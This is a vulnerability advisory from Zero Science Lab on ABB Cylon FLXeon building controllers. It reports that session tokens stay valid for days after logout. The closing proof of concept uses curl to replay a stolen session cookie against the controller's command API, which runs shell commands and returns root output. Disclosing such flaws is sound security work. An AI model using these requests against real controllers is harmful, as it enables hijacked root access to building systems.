ABB Cylon FLXeon 9.3.4 Session Persistence

ABB Cylon FLXeon 9.3.4 Session Persistence Vulnerability
    
    
    Vendor: ABB Ltd.
    Product web page: https://www.global.abb                   
    Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                      CBX Series (FLX Series)
                      CBT Series
                      CBV Series
                      Firmware: <=9.3.4
    
    Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
    series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
    building management solutions. ABB BACnet controllers are designed for intelligent
    control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
    heat pump systems, air handling units (constant volume, variable air volume, and
    multi-zone), rooftop units, electrical systems such as lighting control, variable
    frequency drives and metering.
    
    The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
    connectivity and open integration for your building automation systems. It's scalable,
    and modular, allowing you to control a diverse range of HVAC functions.
    
    Desc: User sessions on ABB Cylon FLXeon controllers remain active for up to seven
    days, even after a client-side logout. Clicking "Log Out" does not properly revoke
    the session on the server, allowing attackers with access to stolen session tokens
    to maintain unauthorized access. This increases the risk of session hijacking and
    privilege abuse.
    
    Tested on: Linux Kernel 5.4.27
               Linux Kernel 4.15.13
               NodeJS/8.4.0
               Express
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                @zeroscience
    
    
    Advisory ID: ZSL-2025-5922
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5922.php
    
    
    21.04.2024
    
    --
    
    
    $ cat project
    
                     P   R   O   J   E   C   T
    
                            .|
                            | |
                            |'|            ._____
                    ___    |  |            |.   |' .---"|
            _    .-'   '-. |  |     .--'|  ||   | _|    |
         .-'|  _.|  |    ||   '-__  |   |  |    ||      |
         |' | |.    |    ||       | |   |  |    ||      |
     ____|  '-'     '    ""       '-'   '-.'    '`      |____
    ░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  
    ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
    ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
    ░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
    ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
    ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
    ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
             ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ 
             ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
             ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ 
             ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
             ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
             ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
             ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
    
    
    $ date
    The current date is: 15-May-24
    Enter the new date: (dd-mm-yy)
    $ curl -k "https://7.3.3.1/api/cmds" -H "Cookie: user_sid=s%3A8z0gUG_B8JuK...XuI" -d "{\"cmd\":\"id\"}" -H "Content-Type: application/json"
    {"result":"uid=0(root) gid=0(root) groups=0(root)\n"}
    # Logout from browser.
    $ date
    The current date is: 21-May-24
    Enter the new date: (dd-mm-yy)
    $ curl -k "https://7.3.3.1/api/cmds" -H "Cookie: user_sid=s%3A8z0gUG_B8JuK...XuI" -d "{\"cmd\":\"id\"}" -H "Content-Type: application/json"
    {"result":"uid=0(root) gid=0(root) groups=0(root)\n"}
    $ date
    The current date is: 22-May-24
    Enter the new date: (dd-mm-yy)
    $ curl -k "https://7.3.3.1/api/cmds" -H "Cookie: user_sid=s%3A8z0gUG_B8JuK...XuI" -d "{\"cmd\":\"id\"}" -H "Content-Type: application/json"
    Unauthorized